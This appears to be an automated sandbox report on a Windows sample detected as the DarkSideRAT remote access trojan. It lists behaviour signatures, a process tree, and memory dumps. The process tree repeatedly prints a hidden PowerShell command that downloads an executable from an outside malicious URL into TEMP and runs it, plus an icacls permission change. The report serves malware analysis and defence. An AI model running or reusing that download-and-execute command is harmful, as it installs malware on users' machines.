Analysis
- max time kernel
149s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
09/08/2026, 02:01
General
- Target 2026-08-09_e42c3762055e191aa654550f79da57a6_cobalt-strike_icedid_njrat.exe
- Size 3.3MB
- Sample260809-cflxdaybna
- SHA256 ddd77e0128192b68d5697d4a4e9fd7b28df585c0bfe3c57bb16770bf58c5c9be
Malware Config
Signatures
- Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
- Detects DarkSideRAT 1 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 2 IoCs
- Executes dropped EXE 2 IoCs
- Modifies file permissions 1 TTPs 1 IoCs
- Drops file in Program Files directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-09_e42c3762055e191aa654550f79da57a6_cobalt-strike_icedid_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-09_e42c3762055e191aa654550f79da57a6_cobalt-strike_icedid_njrat.exe"1⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK592960.exe; Start-Process -FilePath $env:TEMP\BK592960.exe -WindowStyle Hidden }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK592960.exe; Start-Process -FilePath $env:TEMP\BK592960.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK592960.exe; Start-Process -FilePath $env:TEMP\BK592960.exe -WindowStyle Hidden }"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\BK592960.exe"C:\Users\Admin\AppData\Local\Temp\BK592960.exe"5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\label.exe"C:\Windows\System32\label.exe"6⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\2026-08-09_e42c3762055e191aa654550f79da57a6_cobalt-strike_icedid_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-09_e42c3762055e191aa654550f79da57a6_cobalt-strike_icedid_njrat.exe" --setup "C:\Program Files\Sn-cheat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK592960.exe; Start-Process -FilePath $env:TEMP\BK592960.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK592960.exe; Start-Process -FilePath $env:TEMP\BK592960.exe -WindowStyle Hidden }"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK592960.exe; Start-Process -FilePath $env:TEMP\BK592960.exe -WindowStyle Hidden }"5⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\BK592960.exe"C:\Users\Admin\AppData\Local\Temp\BK592960.exe"6⤵
- Executes dropped EXE
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Sn-cheat" /grant "Users:(OI)(CI)M" /T /Q >nul 2>&13⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Sn-cheat" /grant "Users:(OI)(CI)M" /T /Q4⤵
- Modifies file permissions
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
BK592960.exe
memory/1340-48-0x000001E2605E0000-0x000001E260CF9000-memory.dmp
memory/1340-38-0x000001E2605E0000-0x000001E260CF9000-memory.dmp
memory/1340-45-0x000001E2605E0000-0x000001E260CF9000-memory.dmp
memory/1340-51-0x000001E2605E0000-0x000001E260CF9000-memory.dmp
memory/1340-58-0x000001E2605E0000-0x000001E260CF9000-memory.dmp
memory/1340-56-0x000001E2605E0000-0x000001E260CF9000-memory.dmp
memory/1340-55-0x000001E2605E0000-0x000001E260CF9000-memory.dmp
memory/1340-57-0x000001E2605E0000-0x000001E260CF9000-memory.dmp
memory/1340-46-0x000001E2605E0000-0x000001E260CF9000-memory.dmp
memory/1340-54-0x000001E2605E0000-0x000001E260CF9000-memory.dmp
memory/1340-40-0x000001E2605E0000-0x000001E260CF9000-memory.dmp
memory/1340-47-0x000001E2605E0000-0x000001E260CF9000-memory.dmp
memory/1340-50-0x000001E2605E0000-0x000001E260CF9000-memory.dmp
memory/1340-49-0x000001E2605E0000-0x000001E260CF9000-memory.dmp
memory/1340-52-0x000001E2605E0000-0x000001E260CF9000-memory.dmp
memory/1340-53-0x000001E2605E0000-0x000001E260CF9000-memory.dmp
memory/1340-59-0x000001E2605E0000-0x000001E260CF9000-memory.dmp
memory/1340-39-0x000001E260D00000-0x000001E260D01000-memory.dmp
memory/4620-15-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/4620-16-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/4620-5-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/4620-1-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/4620-28-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/4620-4-0x000001C7CDD40000-0x000001C7CDD62000-memory.dmp
memory/4620-18-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/4620-0-0x00007FF845DBF000-0x00007FF845DC0000-memory.dmp
memory/4620-17-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/4620-14-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/4620-13-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/4620-10-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/4620-9-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/4620-8-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/4620-7-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp
memory/4620-6-0x00007FF845C30000-0x00007FF8465D4000-memory.dmp